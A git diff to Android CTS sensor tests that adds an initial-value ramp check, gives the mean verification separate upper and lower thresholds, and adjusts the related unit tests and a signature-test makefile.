diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
index bbf022a..8780a7d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
@@ -55,7 +55,7 @@
verification = getVerification(850.0, 975.0, timestamps);
try {
verification.verify(getEnvironment(950), stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
@@ -65,7 +65,7 @@
verification = getVerification(1025.0, 1150.0, timestamps);
try {
verification.verify(getEnvironment(1050), stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java
new file mode 100644
index 0000000..da6a013
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.hardware.cts.helpers.sensorverification;
+
+import android.hardware.Sensor;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.util.Pair;
+
+import junit.framework.Assert;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A {@link ISensorVerification} which verifies that there are no ramps when starting the
+ * collection. To verify this, we compute the mean value at the beginning of the collection and
+ * compare it to the mean value at the end of the collection.
+ */
+public class InitialValueVerification extends AbstractSensorVerification {
+ public static final String PASSED_KEY = "initial_value_passed";
+ // Default length of the initial window: 2 seconds in ns
+ private static final long DEFAULT_INITIAL_WINDOW_LENGTH = 2_000_000_000L;
+
+ // sensorType: max absolute delta between the two means and initial window length
+ private static final Map<Integer, Pair<Float, Long>> DEFAULTS =
+ new HashMap<Integer, Pair<Float, Long>>(12);
+
+ static {
+ // Use a method so that the @deprecation warning can be set for that method only
+ setDefaults();
+ }
+
+ // First time stamp in nano seconds
+ private long mFirstTimestamp;
+ private float[] mInitialSum = null;
+ private int mInitialCount = 0;
+ private float[] mLaterSum = null;
+ private int mLaterCount = 0;
+
+ private final float mMaxAbsoluteDelta;
+ private final long mInitialWindowLength;
+
+ /**
+ * Construct a {@link InitialValueVerification}
+ *
+ * @param maxAbsoluteDelta the acceptable max absolute delta between the two means.
+ */
+ public InitialValueVerification(float maxAbsoluteDelta, long initialWindowLength) {
+ mMaxAbsoluteDelta = maxAbsoluteDelta;
+ mInitialWindowLength = initialWindowLength;
+ }
+
+ /**
+ * Get the default {@link InitialValueVerification} for a sensor.
+ *
+ * @param environment the test environment
+ * @return the verification or null if the verification does not apply to the sensor.
+ */
+ public static InitialValueVerification getDefault(TestSensorEnvironment environment) {
+ int sensorType = environment.getSensor().getType();
+ if (!DEFAULTS.containsKey(sensorType)) {
+ return null;
+ }
+ Pair<Float, Long> maxAbsoluteDeltaAndInitialWindowLength = DEFAULTS.get(sensorType);
+ return new InitialValueVerification(maxAbsoluteDeltaAndInitialWindowLength.first,
+ maxAbsoluteDeltaAndInitialWindowLength.second);
+ }
+
+ /**
+ * Verify that the mean at the initial window and later are similar to each other. Add
+ * {@value #PASSED_KEY}, {@value SensorStats#INITIAL_MEAN_KEY},
+ * {@value SensorStats#LATER_MEAN_KEY} keys to {@link SensorStats}.
+ *
+ * @throws AssertionError if the verification failed.
+ */
+ @Override
+ public void verify(TestSensorEnvironment environment, SensorStats stats) {
+ verify(stats);
+ }
+
+ /**
+ * Visible for unit tests only.
+ */
+ void verify(SensorStats stats) {
+ if (mInitialCount == 0) {
+ Assert.fail("Didn't collect any measurements");
+ }
+ if (mLaterCount == 0) {
+ Assert.fail(String.format("Didn't collect any measurements after %dns",
+ mInitialWindowLength));
+ }
+ float[] initialMeans = new float[mInitialSum.length];
+ float[] laterMeans = new float[mInitialSum.length];
+ boolean success = true;
+ for (int i = 0; i < mInitialSum.length; i++) {
+ initialMeans[i] = mInitialSum[i] / mInitialCount;
+ laterMeans[i] = mLaterSum[i] / mLaterCount;
+ if (Math.abs(initialMeans[i] - laterMeans[i]) > mMaxAbsoluteDelta) {
+ success = false;
+ }
+ }
+ stats.addValue(SensorStats.INITIAL_MEAN_KEY, initialMeans);
+ stats.addValue(SensorStats.LATER_MEAN_KEY, laterMeans);
+ stats.addValue(PASSED_KEY, success);
+ if (!success) {
+ Assert.fail(String.format(
+ "Means too far from each other: initial means = %s,"
+ + "later means = %s, max allowed delta = %.2f",
+ SensorCtsHelper.formatFloatArray(initialMeans),
+ SensorCtsHelper.formatFloatArray(laterMeans),
+ mMaxAbsoluteDelta));
+ }
+ }
+
+ /** {@inheritDoc} */
+ @Override
+ public InitialValueVerification clone() {
+ return new InitialValueVerification(mMaxAbsoluteDelta, mInitialWindowLength);
+ }
+
+ /** {@inheritDoc} */
+ @Override
+ protected void addSensorEventInternal(TestSensorEvent event) {
+ if (mInitialSum == null) {
+ mFirstTimestamp = event.timestamp;
+ mInitialSum = new float[event.values.length];
+ mLaterSum = new float[event.values.length];
+ }
+ if (event.timestamp - mFirstTimestamp <= mInitialWindowLength) {
+ for (int i = 0; i < event.values.length; i++) {
+ mInitialSum[i] += event.values[i];
+ }
+ mInitialCount++;
+ } else {
+ for (int i = 0; i < event.values.length; i++) {
+ mLaterSum[i] += event.values[i];
+ }
+ mLaterCount++;
+ }
+ }
+
+ @SuppressWarnings("deprecation")
+ private static void setDefaults() {
+ DEFAULTS.put(Sensor.TYPE_ACCELEROMETER,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_ORIENTATION,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ // Very tight absolute delta for the barometer.
+ DEFAULTS.put(Sensor.TYPE_PRESSURE,
+ new Pair<Float, Long>(3f, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GRAVITY,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_ROTATION_VECTOR,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ }
+}
+
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java
new file mode 100644
index 0000000..5e28d26
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers.sensorverification;
+
+import junit.framework.TestCase;
+
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Random;
+
+/**
+ * Tests for {@link InitialValueVerification}.
+ */
+public class InitialValueVerificationTest extends TestCase {
+ private static final long INITIAL_WINDOW_LENGTH = 2_000_000_000L; // 2s
+ private static final long TOTAL_WINDOW_LENGTH = 5_000_000_000L; // 5s
+ private static final long SENSOR_PERIOD = 500_000_000L; // 0.5s
+ private static final float MAX_ABSOLUTE_DELTA = 3f;
+ private static final Random random = new Random(123L);
+ private static final float NOISE_STD = 0.01f;
+
+ /**
+ * Test {@link InitialValueVerification#verify(SensorStats)}.
+ */
+ public void testVerify() {
+ float[] initialValues = new float[] {80.4f, 12.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, initialValues, true);
+
+ // Only modify the first element in the array but close enough
+ float[] laterValues = new float[] {78.1f, 12.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, true);
+ // Only modify the first element in the array but by more than the MAX_ABSOLUTE_DELTA
+ laterValues = new float[] {70.1f, 12.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, false);
+
+ // Only modify the second element in the array but close enough
+ laterValues = new float[] {80.4f, 11.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, true);
+ // Only modify the second element in the array but by more than the MAX_ABSOLUTE_DELTA
+ laterValues = new float[] {80.4f, 7.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, false);
+
+ // Only modify the third element in the array but close enough
+ laterValues = new float[] {80.4f, 12.3f, -65f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, true);
+ // Only modify the third element in the array but by more than the MAX_ABSOLUTE_DELTA
+ laterValues = new float[] {80.4f, 12.3f, 45f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, false);
+ }
+
+ private static InitialValueVerification getVerification(Collection<TestSensorEvent> events,
+ float maxAbsoluteDelta, long initialWindowLength) {
+ InitialValueVerification verification =
+ new InitialValueVerification(maxAbsoluteDelta, initialWindowLength);
+ verification.addSensorEvents(events);
+ return verification;
+ }
+
+ private static void verifyStatsWithTwoWindows(float[] initialValues, float[] laterValues,
+ boolean pass) {
+ List<TestSensorEvent> events = new ArrayList<>();
+ // Initial window
+ for (long timestamp = 0L; timestamp <= INITIAL_WINDOW_LENGTH; timestamp += SENSOR_PERIOD) {
+ float[] initialValuesWithNoise = addNoise(initialValues);
+ events.add(new TestSensorEvent(null /* sensor */, timestamp, 0 /* accuracy */,
+ initialValuesWithNoise));
+ }
+ // Later window
+ for (long timestamp = INITIAL_WINDOW_LENGTH
+ + SENSOR_PERIOD; timestamp <= TOTAL_WINDOW_LENGTH; timestamp += SENSOR_PERIOD) {
+ float[] laterValuesWithNoise = addNoise(laterValues);
+ events.add(new TestSensorEvent(null /* sensor */, timestamp, 0 /* accuracy */,
+ laterValuesWithNoise));
+ }
+ SensorStats stats = new SensorStats();
+ InitialValueVerification verification =
+ getVerification(events, MAX_ABSOLUTE_DELTA, INITIAL_WINDOW_LENGTH);
+
+ try {
+ verification.verify(stats);
+ assertTrue(pass);
+ } catch (AssertionError e) {
+ assertFalse(pass);
+ }
+ verifyStats(stats, pass, initialValues, laterValues);
+ }
+
+ private static float[] addNoise(float[] values) {
+ float[] valuesWithNoise = new float[values.length];
+ for(int i = 0; i < values.length; i++) {
+ valuesWithNoise[i] = values[i] + random.nextFloat() * NOISE_STD;
+ }
+ return valuesWithNoise;
+ }
+
+ private static void verifyStats(SensorStats stats, boolean passed, float[] initialMeans,
+ float[] laterMeans) {
+ assertEquals(passed, stats.getValue(InitialValueVerification.PASSED_KEY));
+ float[] actualInitialMeans = (float[]) stats.getValue(SensorStats.INITIAL_MEAN_KEY);
+ float[] actualLaterMeans = (float[]) stats.getValue(SensorStats.LATER_MEAN_KEY);
+ assertEquals(initialMeans.length, actualInitialMeans.length);
+ assertEquals(laterMeans.length, actualLaterMeans.length);
+ for (int i = 0; i < initialMeans.length; i++) {
+ assertEquals(initialMeans[i], actualInitialMeans[i], 0.1);
+ assertEquals(laterMeans[i], actualLaterMeans[i], 0.1);
+ }
+ }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
index d8e1586..4ac4999 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
@@ -62,7 +62,7 @@
verification = getVerification(1, timestamps);
try {
verification.verify(environment, stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
index ac873c1..dfd951d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
@@ -57,7 +57,7 @@
} else {
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
index 6603895..17882d7 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
@@ -20,6 +20,7 @@
import android.hardware.Sensor;
import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorCtsHelper;
import android.hardware.cts.helpers.SensorStats;
import android.hardware.cts.helpers.TestSensorEnvironment;
@@ -33,24 +34,28 @@
public static final String PASSED_KEY = "mean_passed";
// sensorType: {expected, threshold}
- private static final Map<Integer, Object[]> DEFAULTS = new HashMap<Integer, Object[]>(5);
+ private static final Map<Integer, ExpectedValuesAndThresholds> DEFAULTS
+ = new HashMap<Integer, ExpectedValuesAndThresholds>(5);
static {
// Use a method so that the @deprecation warning can be set for that method only
setDefaults();
}
private final float[] mExpected;
- private final float[] mThreshold;
+ private final float[] mUpperThresholds;
+ private final float[] mLowerThresholds;
/**
* Construct a {@link MeanVerification}
*
* @param expected the expected values
- * @param threshold the thresholds
+ * @param upperThresholds the upper thresholds
+ * @param lowerThresholds the lower thresholds
*/
- public MeanVerification(float[] expected, float[] threshold) {
+ public MeanVerification(float[] expected, float[] upperThresholds, float[] lowerThresholds) {
mExpected = expected;
- mThreshold = threshold;
+ mUpperThresholds = upperThresholds;
+ mLowerThresholds = lowerThresholds;
}
/**
@@ -64,9 +69,10 @@
if (!DEFAULTS.containsKey(sensorType)) {
return null;
}
- float[] expected = (float[]) DEFAULTS.get(sensorType)[0];
- float[] threshold = (float[]) DEFAULTS.get(sensorType)[1];
- return new MeanVerification(expected, threshold);
+ float[] expected = DEFAULTS.get(sensorType).mExpectedValues;
+ float[] upperThresholds = DEFAULTS.get(sensorType).mUpperThresholds;
+ float[] lowerThresholds = DEFAULTS.get(sensorType).mLowerThresholds;
+ return new MeanVerification(expected, upperThresholds, lowerThresholds);
}
/**
@@ -92,66 +98,104 @@
float[] means = getMeans();
boolean failed = false;
- StringBuilder meanSb = new StringBuilder();
- StringBuilder expectedSb = new StringBuilder();
-
- if (means.length > 1) {
- meanSb.append("(");
- expectedSb.append("(");
- }
for (int i = 0; i < means.length; i++) {
- if (Math.abs(means[i] - mExpected[i]) > mThreshold[i]) {
+ if (means[i] > mExpected[i] + mUpperThresholds[i]) {
failed = true;
}
- meanSb.append(String.format("%.2f", means[i]));
- if (i != means.length - 1) meanSb.append(", ");
- expectedSb.append(String.format("%.2f+/-%.2f", mExpected[i], mThreshold[i]));
- if (i != means.length - 1) expectedSb.append(", ");
- }
- if (means.length > 1) {
- meanSb.append(")");
- expectedSb.append(")");
+ if (means[i] < mExpected[i] - mLowerThresholds[i]) {
+ failed = true;
+ }
}
stats.addValue(PASSED_KEY, !failed);
stats.addValue(SensorStats.MEAN_KEY, means);
if (failed) {
- Assert.fail(String.format("Mean out of range: mean=%s (expected %s)", meanSb.toString(),
- expectedSb.toString()));
+ Assert.fail(String.format("Mean out of range: mean=%s (expected %s)",
+ SensorCtsHelper.formatFloatArray(means),
+ SensorCtsHelper.formatFloatArray(mExpected)));
}
}
@Override
public MeanVerification clone() {
- return new MeanVerification(mExpected, mThreshold);
+ return new MeanVerification(mExpected, mUpperThresholds, mLowerThresholds);
}
@SuppressWarnings("deprecation")
private static void setDefaults() {
// Sensors that we don't want to test at this time but still want to record the values.
// Gyroscope should be 0 for a static device
- DEFAULTS.put(Sensor.TYPE_GYROSCOPE, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Pressure will not be exact in a controlled environment but should be relatively close to
- // sea level. Second values should always be 0.
- DEFAULTS.put(Sensor.TYPE_PRESSURE, new Object[]{
- new float[]{SensorManager.PRESSURE_STANDARD_ATMOSPHERE, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+ // sea level (400HPa and 200HPa are very lax thresholds).
+ // Second values should always be 0.
+ DEFAULTS.put(Sensor.TYPE_PRESSURE,
+ new ExpectedValuesAndThresholds(new float[]{SensorManager.PRESSURE_STANDARD_ATMOSPHERE,
+ 0.0f,
+ 0.0f},
+ new float[]{100f,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{400f,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Linear acceleration should be 0 in all directions for a static device
- DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Game rotation vector should be (0, 0, 0, 1, 0) for a static device
- DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f, 1.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
- Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f, 1.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Uncalibrated gyroscope should be 0 for a static device but allow a bigger threshold
- DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
- Float.MAX_VALUE, Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
+ }
+
+ private static final class ExpectedValuesAndThresholds {
+ private float[] mExpectedValues;
+ private float[] mUpperThresholds;
+ private float[] mLowerThresholds;
+ private ExpectedValuesAndThresholds(float[] expectedValues,
+ float[] upperThresholds,
+ float[] lowerThresholds) {
+ mExpectedValues = expectedValues;
+ mUpperThresholds = upperThresholds;
+ mLowerThresholds = lowerThresholds;
+ }
}
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
index d7fcf9f..6661e78 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
@@ -29,6 +29,7 @@
* Tests for {@link MeanVerification}.
*/
public class MeanVerificationTest extends TestCase {
+ private static final float[] MEANS = {2.0f, 3.0f, 6.0f};
/**
* Test {@link MeanVerification#verify(TestSensorEnvironment, SensorStats)}.
@@ -43,62 +44,106 @@
};
float[] expected = {2.0f, 3.0f, 6.0f};
- float[] threshold = {0.1f, 0.1f, 0.1f};
+ float[] upperThresholds = {0.3f, 0.3f, 0.3f};
+ float[] lowerThresholds = {0.1f, 0.1f, 0.1f};
SensorStats stats = new SensorStats();
- MeanVerification verification = getVerification(expected, threshold, values);
+ MeanVerification verification =
+ getVerification(expected, upperThresholds, lowerThresholds, values);
verification.verify(stats);
- verifyStats(stats, true, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, true, MEANS);
- expected = new float[]{2.5f, 2.5f, 5.5f};
- threshold = new float[]{0.6f, 0.6f, 0.6f};
+ // Test the lower threshold
+ expected = new float[]{2.4f, 3.3f, 6.4f};
+ lowerThresholds = new float[]{0.6f, 0.6f, 0.6f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
verification.verify(stats);
- verifyStats(stats, true, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, true, MEANS);
- expected = new float[]{2.5f, 2.5f, 5.5f};
- threshold = new float[]{0.1f, 0.6f, 0.6f};
+ lowerThresholds = new float[]{0.1f, 0.6f, 0.6f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
- verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, false, MEANS);
- expected = new float[]{2.5f, 2.5f, 5.5f};
- threshold = new float[]{0.6f, 0.1f, 0.6f};
+ lowerThresholds = new float[]{0.6f, 0.1f, 0.6f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
- verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, false, MEANS);
- threshold = new float[]{0.6f, 0.6f, 0.1f};
+ lowerThresholds = new float[]{0.6f, 0.6f, 0.1f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
- verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, false, MEANS);
+
+ // Test the upper threshold
+ expected = new float[]{1.5f, 2.8f, 5.7f};
+ upperThresholds = new float[]{0.6f, 0.6f, 0.6f};
+ lowerThresholds = new float[]{0.1f, 0.1f, 0.1f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ verification.verify(stats);
+ verifyStats(stats, true, MEANS);
+
+ upperThresholds = new float[]{0.1f, 0.6f, 0.6f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ try {
+ verification.verify(stats);
+ throw new Error("Expected an AssertionError");
+ } catch (AssertionError e) {
+ // Expected;
+ }
+ verifyStats(stats, false, MEANS);
+
+ upperThresholds = new float[]{0.6f, 0.1f, 0.6f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ try {
+ verification.verify(stats);
+ throw new Error("Expected an AssertionError");
+ } catch (AssertionError e) {
+ // Expected;
+ }
+ verifyStats(stats, false, MEANS);
+
+ upperThresholds = new float[]{0.6f, 0.6f, 0.1f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ try {
+ verification.verify(stats);
+ throw new Error("Expected an AssertionError");
+ } catch (AssertionError e) {
+ // Expected;
+ }
+ verifyStats(stats, false, MEANS);
}
- private static MeanVerification getVerification(float[] expected, float[] threshold,
- float[] ... values) {
+ private static MeanVerification getVerification(float[] expected, float[] upperThresholds,
+ float[] lowerThresholds, float[] ... values) {
Collection<TestSensorEvent> events = new ArrayList<>(values.length);
for (float[] value : values) {
events.add(new TestSensorEvent(null, 0, 0, value));
}
- MeanVerification verification = new MeanVerification(expected, threshold);
+ MeanVerification verification =
+ new MeanVerification(expected, upperThresholds, lowerThresholds);
verification.addSensorEvents(events);
return verification;
}
@@ -106,6 +151,7 @@
private void verifyStats(SensorStats stats, boolean passed, float[] means) {
assertEquals(passed, stats.getValue(MeanVerification.PASSED_KEY));
float[] actual = (float[]) stats.getValue(SensorStats.MEAN_KEY);
+ assertEquals(means.length, actual.length);
for (int i = 0; i < means.length; i++) {
assertEquals(means[i], actual[i], 0.1);
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
index b8412a6..a65323d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
@@ -191,7 +191,7 @@
for (int i = 0; i < indices.length; i++) {
assertEquals(indices[i], actualIndices[i]);
}
- } catch (Throwable t) {
+ } catch (Exception t) {
}
}
diff --git a/tests/signature/Android.mk b/tests/signature/Android.mk
index 8502c59..fec47b6 100644
--- a/tests/signature/Android.mk
+++ b/tests/signature/Android.mk
@@ -13,6 +13,10 @@
# limitations under the License.
LOCAL_PATH:= $(call my-dir)
+
+# cts-signature-common java library
+# =================================
+
include $(CLEAR_VARS)
# don't include this package in any target
@@ -20,18 +24,11 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsSignatureTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_MODULE := cts-signature-common
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
- compatibility-device-util \
- android-support-test
-
-include $(BUILD_CTS_PACKAGE)
+include $(BUILD_STATIC_JAVA_LIBRARY)
# signature-hostside java library (for testing)
# ============================================================
@@ -39,7 +36,7 @@
include $(CLEAR_VARS)
# These files are for device-side only, so filter-out for host library
-LOCAL_DEVICE_ONLY_SOURCES := %/SignatureTest.java %/IntentTest.java %/CurrentApi.java
+LOCAL_DEVICE_ONLY_SOURCES := %/CurrentApi.java %/ApiDocumentParser.java
LOCAL_SRC_FILES := $(filter-out $(LOCAL_DEVICE_ONLY_SOURCES), $(call all-java-files-under, src))
